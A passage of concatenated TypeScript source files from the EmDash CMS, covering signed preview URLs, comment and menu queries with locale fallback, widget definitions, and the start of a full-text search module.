{\n\timportMenusFromWxr,\n\timportMenusFromPlugin,\n\ttype MenuImportResult,\n\ttype PluginMenu,\n\ttype PluginMenuItem,\n} from \"./menus.js\";\n\n// Sections import\nexport { importReusableBlocksAsSections, type SectionsImportResult } from \"./sections.js\";\n\n// Site settings import\nexport {\n\timportSiteSettings,\n\tparseSiteSettingsFromPlugin,\n\ttype SiteSettingsAnalysis,\n\ttype SettingsImportResult,\n\ttype WidgetAreaAnalysis,\n} from \"./settings.js\";\n\n// Registry\nexport {\n\tregisterSource,\n\tgetSource,\n\tgetAllSources,\n\tgetFileSources,\n\tgetUrlSources,\n\tprobeUrl,\n\tclearSources,\n} from \"./registry.js\";\n\n// SSRF protection\nexport { validateExternalUrl, ssrfSafeFetch, SsrfError } from \"./ssrf.js\";\n\n// Sources\nexport { wxrSource, parseWxrDate } from \"./sources/wxr.js\";\nexport { wordpressRestSource } from \"./sources/wordpress-rest.js\";\nexport {\n\twordpressPluginSource,\n\tcreateBasicAuthToken,\n\tfetchPluginMedia,\n\tfetchPluginTaxonomies,\n} from \"./sources/wordpress-plugin.js\";\n\n// Auto-register built-in sources\nimport { registerSource } from \"./registry.js\";\nimport { wordpressPluginSource } from \"./sources/wordpress-plugin.js\";\nimport { wordpressRestSource } from \"./sources/wordpress-rest.js\";\nimport { wxrSource } from \"./sources/wxr.js\";\n\n// Register in priority order (most specific first)\n// Plugin source first - if they have our plugin, use it\nregisterSource(wordpressPluginSource);\nregisterSource(wordpressRestSource);\nregisterSource(wxrSource);\n","/**\n * Preview URL generation\n *\n * Creates preview URLs that include a signed token for accessing draft content.\n */\n\nimport { generatePreviewToken } from \"./tokens.js\";\n\nconst REPEATED_SLASHES = /\\/{2,}/g;\n\n/**\n * Options for generating a preview URL\n */\nexport interface GetPreviewUrlOptions {\n\t/** Collection slug (e.g., \"posts\") */\n\tcollection: string;\n\t/** Content ID or slug */\n\tid: string;\n\t/** Secret key for signing the token */\n\tsecret: string;\n\t/** How long the preview URL is valid. Default: \"1h\" */\n\texpiresIn?: string | number;\n\t/** Base URL of the site. If not provided, returns a relative URL. */\n\tbaseUrl?: string;\n\t/**\n\t * Custom path pattern. Supports `{collection}`, `{id}` and `{locale}`\n\t * placeholders. Default: `\"/{collection}/{id}\"`.\n\t */\n\tpathPattern?: string;\n\t/**\n\t * Locale segment substituted for the `{locale}` placeholder in `pathPattern`.\n\t * Pass an empty string to omit the locale prefix (e.g. for the default locale\n\t * when `prefixDefaultLocale` is `false`); adjacent slashes left by an empty\n\t * value are collapsed and any trailing slash is trimmed.\n\t */\n\tlocale?: string;\n}\n\n/**\n * Generate a preview URL for content\n *\n * The URL includes a `_preview` query parameter with a signed token.\n *\n * @example\n * ```ts\n * const url = await getPreviewUrl({\n * collection: \"posts\",\n * id: \"hello-world\",\n * secret: process.env.PREVIEW_SECRET!,\n * });\n * // Returns: /posts/hello-world?_preview=eyJj...\n *\n * // With base URL:\n * const fullUrl = await getPreviewUrl({\n * collection: \"posts\",\n * id: \"hello-world\",\n * secret: process.env.PREVIEW_SECRET!,\n * baseUrl: \"https://example.com\",\n * });\n * // Returns: https://example.com/posts/hello-world?_preview=eyJj...\n *\n * // Custom path pattern:\n * const customUrl = await getPreviewUrl({\n * collection: \"posts\",\n * id: \"hello-world\",\n * secret: process.env.PREVIEW_SECRET!,\n * pathPattern: \"/blog/{id}\",\n * });\n * // Returns: /blog/hello-world?_preview=eyJj...\n * ```\n */\nexport async function getPreviewUrl(options: GetPreviewUrlOptions): Promise<string> {\n\tconst {\n\t\tcollection,\n\t\tid,\n\t\tsecret,\n\t\texpiresIn = \"1h\",\n\t\tbaseUrl,\n\t\tpathPattern = \"/{collection}/{id}\",\n\t\tlocale = \"\",\n\t} = options;\n\n\t// Generate the signed token\n\tconst token = await generatePreviewToken({\n\t\tcontentId: `${collection}:${id}`,\n\t\texpiresIn,\n\t\tsecret,\n\t});\n\n\t// Build the path. `{locale}` may resolve to an empty string (default locale\n\t// without a prefix); collapse the resulting double slashes and trim a\n\t// trailing slash so the URL stays clean.\n\tlet path = pathPattern\n\t\t.replace(\"{collection}\", collection)\n\t\t.replace(\"{id}\", id)\n\t\t.replace(\"{locale}\", locale);\n\tpath = path.replace(REPEATED_SLASHES, \"/\");\n\tif (path.length > 1 && path.endsWith(\"/\")) path = path.slice(0, -1);\n\n\t// Add token as query parameter\n\tconst url = new URL(path, baseUrl || \"http://placeholder\");\n\turl.searchParams.set(\"_preview\", token);\n\n\t// Return relative URL if no baseUrl provided\n\tif (!baseUrl) {\n\t\treturn `${url.pathname}${url.search}`;\n\t}\n\n\treturn url.toString();\n}\n\n/**\n * Build a preview URL from a token (when you already have the token)\n *\n * @example\n * ```ts\n * const url = buildPreviewUrl({\n * path: \"/posts/hello-world\",\n * token: existingToken,\n * });\n * ```\n */\nexport function buildPreviewUrl(options: {\n\tpath: string;\n\ttoken: string;\n\tbaseUrl?: string;\n}): string {\n\tconst { path, token, baseUrl } = options;\n\n\tconst url = new URL(path, baseUrl || \"http://placeholder\");\n\turl.searchParams.set(\"_preview\", token);\n\n\tif (!baseUrl) {\n\t\treturn `${url.pathname}${url.search}`;\n\t}\n\n\treturn url.toString();\n}\n","/**\n * Preview helpers for Astro pages\n */\n\n/**\n * Check if a request is a preview request\n *\n * @example\n * ```ts\n * const isPreview = isPreviewRequest(Astro.url);\n * ```\n */\nexport function isPreviewRequest(url: URL): boolean {\n\treturn url.searchParams.has(\"_preview\");\n}\n\n/**\n * Get the preview token from a URL\n *\n * @example\n * ```ts\n * const token = getPreviewToken(Astro.url);\n * ```\n */\nexport function getPreviewToken(url: URL): string | null {\n\treturn url.searchParams.get(\"_preview\");\n}\n","/**\n * Comment query functions for Astro templates\n *\n * Same pattern as getMenu() — uses getDb() for ambient DB access.\n * These are called from .astro pages/components, not from API routes.\n */\n\nimport type { Kysely } from \"kysely\";\n\nimport { CommentRepository } from \"../database/repositories/comment.js\";\nimport type { PublicComment } from \"../database/repositories/comment.js\";\nimport type { Database } from \"../database/types.js\";\nimport { getDb } from \"../loader.js\";\n\nexport interface GetCommentsOptions {\n\tcollection: string;\n\tcontentId: string;\n\tthreaded?: boolean;\n}\n\nexport interface GetCommentsResult {\n\titems: PublicComment[];\n\ttotal: number;\n}\n\n/**\n * Get approved comments for a content item.\n *\n * @example\n * ```ts\n * import { getComments } from \"emdash\";\n *\n * const { items, total } = await getComments({\n * collection: \"posts\",\n * contentId: post.id,\n * threaded: true,\n * });\n * ```\n */\nexport async function getComments(options: GetCommentsOptions): Promise<GetCommentsResult> {\n\tconst db = await getDb();\n\treturn getCommentsWithDb(db, options);\n}\n\n/**\n * Get approved comments with an explicit db handle.\n *\n * @internal Use `getComments()` in templates. This variant is for routes\n * that already have a database handle.\n */\nexport async function getCommentsWithDb(\n\tdb: Kysely<Database>,\n\toptions: GetCommentsOptions,\n): Promise<GetCommentsResult> {\n\tconst repo = new CommentRepository(db);\n\n\tconst total = await repo.countByContent(options.collection, options.contentId, \"approved\");\n\n\t// Server-rendered: fetch all comments (capped for safety).\n\t// The API route handles paginated access; this is for full-page renders.\n\tconst MAX_COMMENTS = 500;\n\n\tconst result = await repo.findByContent(options.collection, options.contentId, {\n\t\tstatus: \"approved\",\n\t\tlimit: MAX_COMMENTS,\n\t});\n\n\tif (options.threaded) {\n\t\tconst threaded = CommentRepository.assembleThreads(result.items);\n\t\tconst items = threaded.map((c) => CommentRepository.toPublicComment(c));\n\t\treturn { items, total };\n\t}\n\n\tconst items = result.items.map((c) => CommentRepository.toPublicComment(c));\n\treturn { items, total };\n}\n\n/**\n * Get the count of approved comments for a content item.\n *\n * @example\n * ```ts\n * import { getCommentCount } from \"emdash\";\n *\n * const count = await getCommentCount(\"posts\", post.id);\n * ```\n */\nexport async function getCommentCount(collection: string, contentId: string): Promise<number> {\n\tconst db = await getDb();\n\treturn getCommentCountWithDb(db, collection, contentId);\n}\n\n/**\n * Get comment count with an explicit db handle.\n *\n * @internal Use `getCommentCount()` in templates.\n */\nexport async function getCommentCountWithDb(\n\tdb: Kysely<Database>,\n\tcollection: string,\n\tcontentId: string,\n): Promise<number> {\n\tconst repo = new CommentRepository(db);\n\treturn repo.countByContent(collection, contentId, \"approved\");\n}\n","/**\n * Navigation menu runtime functions.\n *\n * These are called from templates to query menus and resolve URLs. All queries\n * are locale-aware: when a locale is configured (or passed explicitly) items\n * are filtered to that locale, and menu item references resolve against the\n * referenced content's translation_group so the URL points at the right\n * per-locale row.\n */\n\nimport type { Kysely } from \"kysely\";\nimport { sql } from \"kysely\";\n\nimport type { Database } from \"../database/types.js\";\nimport { validateIdentifier } from \"../database/validate.js\";\nimport { resolveLocale, resolveLocaleChain } from \"../i18n/resolve.js\";\nimport { getDb } from \"../loader.js\";\nimport { requestCached } from \"../request-cache.js\";\nimport { sanitizeHref } from \"../utils/url.js\";\nimport type { Menu, MenuItem, MenuItemRow } from \"./types.js\";\n\nexport interface MenuQueryOptions {\n\t/** Override the locale used for the lookup. When omitted, the locale comes\n\t * from the request context or the configured defaultLocale. */\n\tlocale?: string;\n}\n\n/**\n * Get a menu by name with resolved URLs.\n *\n * @example\n * ```ts\n * const menu = await getMenu(\"primary\");\n * const menuEs = await getMenu(\"primary\", { locale: \"es\" });\n * ```\n */\nexport function getMenu(name: string, options: MenuQueryOptions = {}): Promise<Menu | null> {\n\tconst locale = resolveLocale(options.locale);\n\treturn requestCached(`menu:${name}:${locale ?? \"*\"}`, async () => {\n\t\tconst db = await getDb();\n\t\treturn getMenuWithDb(name, db, { locale });\n\t});\n}\n\n/**\n * Get menu by name with resolved URLs (with explicit db). Internal helper for\n * admin routes that already have a database handle.\n */\nexport async function getMenuWithDb(\n\tname: string,\n\tdb: Kysely<Database>,\n\toptions: MenuQueryOptions = {},\n): Promise<Menu | null> {\n\tconst chain = resolveLocaleChain(options.locale);\n\n\tconst selectMenu = () => db.selectFrom(\"_emdash_menus\").selectAll().where(\"name\", \"=\", name);\n\n\tlet menuRow: Awaited<ReturnType<ReturnType<typeof selectMenu>[\"executeTakeFirst\"]>>;\n\tif (chain.length === 0) {\n\t\tmenuRow = await selectMenu().orderBy(\"locale\", \"asc\").executeTakeFirst();\n\t} else {\n\t\tmenuRow = undefined;\n\t\tfor (const locale of chain) {\n\t\t\tmenuRow = await selectMenu().where(\"locale\", \"=\", locale).executeTakeFirst();\n\t\t\tif (menuRow) break;\n\t\t}\n\t}\n\n\tif (!menuRow) return null;\n\n\tconst itemRows = await db\n\t\t.selectFrom(\"_emdash_menu_items\")\n\t\t.selectAll()\n\t\t.$castTo<MenuItemRow>()\n\t\t.where(\"menu_id\", \"=\", menuRow.id)\n\t\t.orderBy(\"sort_order\", \"asc\")\n\t\t.execute();\n\n\tconst items = await buildMenuTree(itemRows, db, menuRow.locale);\n\n\treturn {\n\t\tid: menuRow.id,\n\t\tname: menuRow.name,\n\t\tlabel: menuRow.label,\n\t\titems,\n\t\tlocale: menuRow.locale,\n\t\ttranslationGroup: menuRow.translation_group,\n\t};\n}\n\n/**\n * Get all menus (without items, locale-filtered — for admin list / site nav\n * summaries). When no locale is configured, returns menus across all locales.\n */\nexport async function getMenus(\n\toptions: MenuQueryOptions = {},\n): Promise<Array<{ id: string; name: string; label: string; locale: string }>> {\n\tconst db = await getDb();\n\treturn getMenusWithDb(db, options);\n}\n\n/**\n * Get all menus (with explicit db)\n *\n * @internal Use `getMenus()` in templates. This variant is for admin routes\n * that already have a database handle.\n */\nexport async function getMenusWithDb(\n\tdb: Kysely<Database>,\n\toptions: MenuQueryOptions = {},\n): Promise<Array<{ id: string; name: string; label: string; locale: string }>> {\n\tconst locale = resolveLocale(options.locale);\n\tlet query = db\n\t\t.selectFrom(\"_emdash_menus\")\n\t\t.select([\"id\", \"name\", \"label\", \"locale\"])\n\t\t.orderBy(\"name\", \"asc\");\n\tif (locale !== undefined) query = query.where(\"locale\", \"=\", locale);\n\treturn query.execute();\n}\n\n/**\n * Build a hierarchical menu tree from a flat list of items. Items are\n * resolved against the given `locale` so references land on the right\n * per-locale content rows.\n */\nasync function buildMenuTree(\n\titems: MenuItemRow[],\n\tdb: Kysely<Database>,\n\tlocale: string,\n): Promise<MenuItem[]> {\n\tconst collectionSlugs = new Set<string>();\n\tfor (const item of items) {\n\t\tif (item.reference_collection) collectionSlugs.add(item.reference_collection);\n\t\tif (item.type === \"page\" || item.type === \"post\") {\n\t\t\tcollectionSlugs.add(item.reference_collection || `${item.type}s`);\n\t\t}\n\t}\n\n\tconst urlPatterns = new Map<string, string | null>();\n\tif (collectionSlugs.size > 0) {\n\t\tconst rows = await db\n\t\t\t.selectFrom(\"_emdash_collections\")\n\t\t\t.select([\"slug\", \"url_pattern\"])\n\t\t\t.where(\"slug\", \"in\", [...collectionSlugs])\n\t\t\t.execute();\n\t\tfor (const row of rows) urlPatterns.set(row.slug, row.url_pattern);\n\t}\n\n\tconst resolvedItems = await Promise.all(\n\t\titems.map((item) => resolveMenuItem(item, db, urlPatterns, locale)),\n\t);\n\tconst validItems = resolvedItems.filter((item): item is MenuItem => item !== null);\n\n\tconst itemMap = new Map<string, MenuItem & { children: MenuItem[] }>();\n\tconst rootItems: MenuItem[] = [];\n\n\tfor (const item of validItems) {\n\t\titemMap.set(item.id, { ...item, children: [] });\n\t}\n\n\tfor (const item of items) {\n\t\tconst menuItem = itemMap.get(item.id);\n\t\tif (!menuItem) continue;\n\t\tif (item.parent_id) {\n\t\t\tconst parent = itemMap.get(item.parent_id);\n\t\t\tif (parent) parent.children.push(menuItem);\n\t\t\telse rootItems.push(menuItem);\n\t\t} else {\n\t\t\trootItems.push(menuItem);\n\t\t}\n\t}\n\n\treturn rootItems;\n}\n\n/**\n * Resolve a single menu item's URL. `reference_id` is a translation_group\n * (migration 036 remapped all existing references); we join it against\n * the per-locale ec_* row or per-locale taxonomy row.\n */\nasync function resolveMenuItem(\n\titem: MenuItemRow,\n\tdb: Kysely<Database>,\n\turlPatterns: Map<string, string | null>,\n\tlocale: string,\n): Promise<MenuItem | null> {\n\tlet url: string | null;\n\n\ttry {\n\t\tswitch (item.type) {\n\t\t\tcase \"custom\":\n\t\t\t\turl = item.custom_url || \"#\";\n\t\t\t\tbreak;\n\n\t\t\tcase \"page\":\n\t\t\tcase \"post\":\n\t\t\t\turl = await resolveContentUrl(\n\t\t\t\t\titem.reference_collection || `${item.type}s`,\n\t\t\t\t\titem.reference_id,\n\t\t\t\t\tdb,\n\t\t\t\t\turlPatterns,\n\t\t\t\t\tlocale,\n\t\t\t\t);\n\t\t\t\tif (url === null) return null;\n\t\t\t\tbreak;\n\n\t\t\tcase \"taxonomy\":\n\t\t\t\turl = await resolveTaxonomyUrl(item.reference_id, db, locale);\n\t\t\t\tif (url === null) return null;\n\t\t\t\tbreak;\n\n\t\t\tcase \"collection\":\n\t\t\t\turl = `/${item.reference_collection}/`;\n\t\t\t\tbreak;\n\n\t\t\tdefault:\n\t\t\t\tif (item.reference_collection && item.reference_id) {\n\t\t\t\t\turl = await resolveContentUrl(\n\t\t\t\t\t\titem.reference_collection,\n\t\t\t\t\t\titem.reference_id,\n\t\t\t\t\t\tdb,\n\t\t\t\t\t\turlPatterns,\n\t\t\t\t\t\tlocale,\n\t\t\t\t\t);\n\t\t\t\t\tif (url === null) return null;\n\t\t\t\t} else {\n\t\t\t\t\turl = \"#\";\n\t\t\t\t}\n\t\t}\n\t} catch (error) {\n\t\tconsole.error(`Failed to resolve menu item ${item.id}:`, error);\n\t\treturn null;\n\t}\n\n\treturn {\n\t\tid: item.id,\n\t\tlabel: item.label,\n\t\turl: sanitizeHref(url),\n\t\ttarget: item.target || undefined,\n\t\ttitleAttr: item.title_attr || undefined,\n\t\tcssClasses: item.css_classes || undefined,\n\t\tchildren: [],\n\t};\n}\n\nconst SLUG_PLACEHOLDER = /\\{slug\\}/g;\nconst ID_PLACEHOLDER = /\\{id\\}/g;\n\n/**\n * Interpolate a URL pattern with entry data\n *\n * Replaces `{slug}` and `{id}` placeholders.\n */\nfunction interpolateUrlPattern(pattern: string, slug: string, id: string): string {\n\treturn pattern.replace(SLUG_PLACEHOLDER, slug).replace(ID_PLACEHOLDER, id);\n}\n\n/**\n * Resolve the URL for a content reference. `referenceGroup` is the content\n * row's translation_group; we look up the row in the requested locale\n * (falling back to the source if no translation exists so the menu link is\n * still clickable).\n */\nasync function resolveContentUrl(\n\tcollection: string,\n\treferenceGroup: string | null,\n\tdb: Kysely<Database>,\n\turlPatterns: Map<string, string | null>,\n\tlocale: string,\n): Promise<string | null> {\n\tif (!referenceGroup) return null;\n\n\ttry {\n\t\tvalidateIdentifier(collection, \"menu item collection\");\n\n\t\t// Try the requested locale first, then any locale (deterministic).\n\t\tlet result = await sql<{ id: string; slug: string }>`\n\t\t\tSELECT id, slug FROM ${sql.ref(`ec_${collection}`)}\n\t\t\tWHERE translation_group = ${referenceGroup} AND locale = ${locale}\n\t\t\tLIMIT 1\n\t\t`.execute(db);\n\t\tlet row = result.rows[0];\n\t\tif (!row) {\n\t\t\tresult = await sql<{ id: string; slug: string }>`\n\t\t\t\tSELECT id, slug FROM ${sql.ref(`ec_${collection}`)}\n\t\t\t\tWHERE translation_group = ${referenceGroup}\n\t\t\t\tORDER BY locale ASC LIMIT 1\n\t\t\t`.execute(db);\n\t\t\trow = result.rows[0];\n\t\t}\n\t\tif (!row) {\n\t\t\t// Legacy rows whose reference_id still points at an id directly\n\t\t\t// (defensive — migration 036 normalised these, but a row inserted\n\t\t\t// between migrations could predate the remap).\n\t\t\tconst legacy = await sql<{ id: string; slug: string }>`\n\t\t\t\tSELECT id, slug FROM ${sql.ref(`ec_${collection}`)}\n\t\t\t\tWHERE id = ${referenceGroup} LIMIT 1\n\t\t\t`.execute(db);\n\t\t\trow = legacy.rows[0];\n\t\t}\n\t\tif (!row) return null;\n\n\t\tconst pattern = urlPatterns.get(collection);\n\t\tif (pattern) return interpolateUrlPattern(pattern, row.slug, row.id);\n\t\treturn `/${collection}/${row.slug}`;\n\t} catch (error) {\n\t\tconsole.error(`Failed to resolve content URL for ${collection}/${referenceGroup}:`, error);\n\t\treturn null;\n\t}\n}\n\n/**\n * Resolve URL for a taxonomy term reference. `referenceGroup` is the term's\n * translation_group; we pick the row in the active locale (or fall back).\n */\nasync function resolveTaxonomyUrl(\n\treferenceGroup: string | null,\n\tdb: Kysely<Database>,\n\tlocale: string,\n): Promise<string | null> {\n\tif (!referenceGroup) return null;\n\n\tlet taxonomy = await db\n\t\t.selectFrom(\"taxonomies\")\n\t\t.select([\"name\", \"slug\"])\n\t\t.where(\"translation_group\", \"=\", referenceGroup)\n\t\t.where(\"locale\", \"=\", locale)\n\t\t.executeTakeFirst();\n\n\tif (!taxonomy) {\n\t\ttaxonomy = await db\n\t\t\t.selectFrom(\"taxonomies\")\n\t\t\t.select([\"name\", \"slug\"])\n\t\t\t.where(\"translation_group\", \"=\", referenceGroup)\n\t\t\t.orderBy(\"locale\", \"asc\")\n\t\t\t.executeTakeFirst();\n\t}\n\n\tif (!taxonomy) {\n\t\t// Legacy: id-based reference that predates the migration remap.\n\t\ttaxonomy = await db\n\t\t\t.selectFrom(\"taxonomies\")\n\t\t\t.select([\"name\", \"slug\"])\n\t\t\t.where(\"id\", \"=\", referenceGroup)\n\t\t\t.executeTakeFirst();\n\t}\n\n\tif (!taxonomy) return null;\n\n\treturn `/${taxonomy.name}/${taxonomy.slug}`;\n}\n","import type { WidgetComponentDef } from \"./types.js\";\n\n/**\n * Core widget components registry\n * These are built-in widgets that ship with EmDash\n */\nexport const coreWidgetComponents: WidgetComponentDef[] = [\n\t{\n\t\tid: \"core:recent-posts\",\n\t\tlabel: \"Recent Posts\",\n\t\tdescription: \"Display a list of recent posts\",\n\t\tprops: {\n\t\t\tcount: {\n\t\t\t\ttype: \"number\",\n\t\t\t\tlabel: \"Number of posts\",\n\t\t\t\tdefault: 5,\n\t\t\t},\n\t\t\tshowThumbnails: {\n\t\t\t\ttype: \"boolean\",\n\t\t\t\tlabel: \"Show thumbnails\",\n\t\t\t\tdefault: false,\n\t\t\t},\n\t\t\tshowDate: {\n\t\t\t\ttype: \"boolean\",\n\t\t\t\tlabel: \"Show date\",\n\t\t\t\tdefault: true,\n\t\t\t},\n\t\t},\n\t},\n\t{\n\t\tid: \"core:categories\",\n\t\tlabel: \"Categories\",\n\t\tdescription: \"Display category list\",\n\t\tprops: {\n\t\t\tshowCount: {\n\t\t\t\ttype: \"boolean\",\n\t\t\t\tlabel: \"Show post count\",\n\t\t\t\tdefault: true,\n\t\t\t},\n\t\t\thierarchical: {\n\t\t\t\ttype: \"boolean\",\n\t\t\t\tlabel: \"Show hierarchy\",\n\t\t\t\tdefault: true,\n\t\t\t},\n\t\t},\n\t},\n\t{\n\t\tid: \"core:tags\",\n\t\tlabel: \"Tags\",\n\t\tdescription: \"Display tag cloud\",\n\t\tprops: {\n\t\t\tshowCount: {\n\t\t\t\ttype: \"boolean\",\n\t\t\t\tlabel: \"Show count\",\n\t\t\t\tdefault: false,\n\t\t\t},\n\t\t\tlimit: {\n\t\t\t\ttype: \"number\",\n\t\t\t\tlabel: \"Maximum tags\",\n\t\t\t\tdefault: 20,\n\t\t\t},\n\t\t},\n\t},\n\t{\n\t\tid: \"core:search\",\n\t\tlabel: \"Search\",\n\t\tdescription: \"Search form\",\n\t\tprops: {\n\t\t\tplaceholder: {\n\t\t\t\ttype: \"string\",\n\t\t\t\tlabel: \"Placeholder text\",\n\t\t\t\tdefault: \"Search...\",\n\t\t\t},\n\t\t},\n\t},\n\t{\n\t\tid: \"core:archives\",\n\t\tlabel: \"Archives\",\n\t\tdescription: \"Monthly/yearly archives\",\n\t\tprops: {\n\t\t\ttype: {\n\t\t\t\ttype: \"select\",\n\t\t\t\tlabel: \"Group by\",\n\t\t\t\tdefault: \"monthly\",\n\t\t\t\toptions: [\n\t\t\t\t\t{ value: \"monthly\", label: \"Monthly\" },\n\t\t\t\t\t{ value: \"yearly\", label: \"Yearly\" },\n\t\t\t\t],\n\t\t\t},\n\t\t\tlimit: {\n\t\t\t\ttype: \"number\",\n\t\t\t\tlabel: \"Limit\",\n\t\t\t\tdefault: 12,\n\t\t\t},\n\t\t},\n\t},\n];\n\n/**\n * Get all widget component definitions (core + plugin-registered)\n * For now, only returns core components. Plugin widgets will be added later.\n */\nexport function getWidgetComponents(): WidgetComponentDef[] {\n\treturn [...coreWidgetComponents];\n}\n","import { getDb } from \"../loader.js\";\nimport { getWidgetComponents as getComponentRegistry } from \"./components.js\";\nimport type { Widget, WidgetArea, WidgetRow, WidgetComponentDef } from \"./types.js\";\n\nexport type {\n\tWidget,\n\tWidgetArea,\n\tWidgetType,\n\tWidgetComponentDef,\n\tPropDef,\n\tCreateWidgetAreaInput,\n\tCreateWidgetInput,\n\tUpdateWidgetInput,\n\tReorderWidgetsInput,\n} from \"./types.js\";\n\n/**\n * Get a widget area by name, with all its widgets.\n *\n * Single query with a left join rather than area-then-widgets so the\n * common case costs one round-trip. An area with no widgets yields one\n * row with null widget columns, which we skip when mapping.\n */\nexport async function getWidgetArea(name: string): Promise<WidgetArea | null> {\n\tconst db = await getDb();\n\tconst rows = await db\n\t\t.selectFrom(\"_emdash_widget_areas as a\")\n\t\t.leftJoin(\"_emdash_widgets as w\", \"w.area_id\", \"a.id\")\n\t\t.select([\n\t\t\t\"a.id as a_id\",\n\t\t\t\"a.name as a_name\",\n\t\t\t\"a.label as a_label\",\n\t\t\t\"a.description as a_description\",\n\t\t\t\"w.id as w_id\",\n\t\t\t\"w.type as w_type\",\n\t\t\t\"w.title as w_title\",\n\t\t\t\"w.content as w_content\",\n\t\t\t\"w.menu_name as w_menu_name\",\n\t\t\t\"w.component_id as w_component_id\",\n\t\t\t\"w.component_props as w_component_props\",\n\t\t\t\"w.area_id as w_area_id\",\n\t\t\t\"w.sort_order as w_sort_order\",\n\t\t\t\"w.created_at as w_created_at\",\n\t\t])\n\t\t.where(\"a.name\", \"=\", name)\n\t\t.orderBy(\"w.sort_order\", \"asc\")\n\t\t.execute();\n\n\tconst first = rows[0];\n\tif (!first) return null;\n\tconst widgets: Widget[] = [];\n\tfor (const row of rows) {\n\t\tif (row.w_id === null) continue; // area has no widgets (left-join null row)\n\t\t// Left-join makes every w_* column nullable in the type; at runtime\n\t\t// they're all non-null once w_id is (we match on widgets.area_id, so\n\t\t// a widget row always has the not-null columns filled). Cast is the\n\t\t// price of that structural fact.\n\t\t// eslint-disable-next-line typescript-eslint(no-unsafe-type-assertion) -- left-join row is non-null when w_id is set; see above\n\t\tconst widgetRow = {\n\t\t\tid: row.w_id,\n\t\t\ttype: row.w_type,\n\t\t\ttitle: row.w_title,\n\t\t\tcontent: row.w_content,\n\t\t\tmenu_name: row.w_menu_name,\n\t\t\tcomponent_id: row.w_component_id,\n\t\t\tcomponent_props: row.w_component_props,\n\t\t\tarea_id: row.w_area_id,\n\t\t\tsort_order: row.w_sort_order,\n\t\t\tcreated_at: row.w_created_at,\n\t\t} as WidgetRow;\n\t\twidgets.push(rowToWidget(widgetRow));\n\t}\n\n\treturn {\n\t\tid: first.a_id,\n\t\tname: first.a_name,\n\t\tlabel: first.a_label,\n\t\tdescription: first.a_description ?? undefined,\n\t\twidgets,\n\t};\n}\n\n/**\n * Get all widget areas with their widgets\n */\nexport async function getWidgetAreas(): Promise<WidgetArea[]> {\n\tconst db = await getDb();\n\t// Get all areas\n\tconst areaRows = await db.selectFrom(\"_emdash_widget_areas\").selectAll().execute();\n\n\t// Get all widgets\n\tconst widgetRows = await db\n\t\t.selectFrom(\"_emdash_widgets\")\n\t\t.selectAll()\n\t\t.$castTo<WidgetRow>()\n\t\t.orderBy(\"sort_order\", \"asc\")\n\t\t.execute();\n\n\t// Group widgets by area\n\tconst widgetsByArea = new Map<string, Widget[]>();\n\tfor (const row of widgetRows) {\n\t\tif (!widgetsByArea.has(row.area_id)) {\n\t\t\twidgetsByArea.set(row.area_id, []);\n\t\t}\n\t\twidgetsByArea.get(row.area_id)!.push(rowToWidget(row));\n\t}\n\n\t// Combine\n\treturn areaRows.map((areaRow) => ({\n\t\tid: areaRow.id,\n\t\tname: areaRow.name,\n\t\tlabel: areaRow.label,\n\t\tdescription: areaRow.description ?? undefined,\n\t\twidgets: widgetsByArea.get(areaRow.id) || [],\n\t}));\n}\n\n/**\n * Get available widget components (for admin UI)\n */\nexport function getWidgetComponents(): WidgetComponentDef[] {\n\treturn getComponentRegistry();\n}\n\n/**\n * Convert a widget row to the API type\n */\nexport function rowToWidget(row: WidgetRow): Widget {\n\tconst widget: Widget = {\n\t\tid: row.id,\n\t\ttype: row.type,\n\t\ttitle: row.title ?? undefined,\n\t};\n\n\t// Type-specific fields\n\tif (row.type === \"content\" && row.content) {\n\t\ttry {\n\t\t\twidget.content = JSON.parse(row.content);\n\t\t} catch {\n\t\t\t// Invalid JSON, ignore\n\t\t}\n\t}\n\n\tif (row.type === \"menu\" && row.menu_name) {\n\t\twidget.menuName = row.menu_name;\n\t}\n\n\tif (row.type === \"component\" && row.component_id) {\n\t\twidget.componentId = row.component_id;\n\t\tif (row.component_props) {\n\t\t\ttry {\n\t\t\t\twidget.componentProps = JSON.parse(row.component_props);\n\t\t\t} catch {\n\t\t\t\t// Invalid JSON, ignore\n\t\t\t}\n\t\t}\n\t}\n\n\treturn widget;\n}\n","/**\n * Search Query Functions\n *\n * Programmatic API for searching content using FTS5.\n */\n\nimport type { Kysely } from \"kysely\";\nimport { sql } from \"kysely\";\n\nimport type { Database } from \"../database/types.js\";\nimport { validateIdentifier } from \"../database/validate.js\";\nimport { getDb } from \"../loader.js\";\nimport { FTSManager } from \"./fts-manager.js\";\nimport type {\n\tSearchOptions,\n\tCollectionSearchOptions,\n\tSearchResult,\n\tSearchResponse,\n\tSuggestOptions,\n\tSuggestion,\n\tSearchStats,\n} from \"./types.js\";\n\n/** Pattern to split on whitespace for query term extraction */\nconst WHITESPACE_SPLIT_PATTERN = /\\s+/;\nconst FTS_OPERATORS_PATTERN = /\\b(AND|OR|NOT|NEAR)\\b/i;\nconst DOUBLE_QUOTE_PATTERN = /\"/g;\n\n/**\n * Detect FTS5 query syntax errors. Match specifically on the SQLite FTS5\n * error fingerprints rather than a broad \"fts5\" / \"syntax error\" filter\n * (which would also swallow internal table-corruption errors). The two\n * fingerprints we care about are:\n *\n * - \"fts5: syntax error near …\" — unbalanced quotes, stray operators,\n * other malformed user input\n * - \"unknown special query: …\" — bare special tokens like `^*` that\n * parse but don't resolve to a real FTS5 directive\n */\nfunction isFts5SyntaxError(error: unknown): boolean {\n\tif (!(error instanceof Error)) return false;\n\tconst message = error.message.toLowerCase();\n\treturn message.includes(\"fts5: syntax error\") || message.includes(\"unknown special query\");\n}\n\n/**\n * Search across multiple collections\n *\n * Public API that auto-injects the database.\n *\n * @param query - Search query (FTS5 syntax supported)\n * @param options - Search options\n * @returns Search results with pagination\n *\n * @example\n * ```typescript\n * import { search } from \"emdash\";\n *\n * const results = await search(\"hello world\", {\n * collections: [\"posts\", \"pages\"],\n * limit: 20\n * });\n * ```\n */\nexport async function search(query: string, options: SearchOptions = {}): Promise<SearchResponse> {\n\tconst db = await getDb();\n\treturn searchWithDb(db, query, options);\n}\n\n/**\n * Search across multiple collections (with explicit db)\n *\n * @internal Use `search()` in templates. This variant is for admin routes\n * that already have a database handle.\n *\n * @param db - Kysely database instance\n * @param query - Search query (FTS5 syntax supported)\n * @param options - Search options\n * @returns Search results with pagination\n */\nexport async function searchWithDb(\n\tdb: Kysely<Database>,\n\tquery: string,\n\toptions: SearchOptions = {},\n): Promise<SearchResponse> {\n\tconst ftsManager = new FTSManager(db);\n\tconst limit = options.limit ?? 20;\n\tconst status = 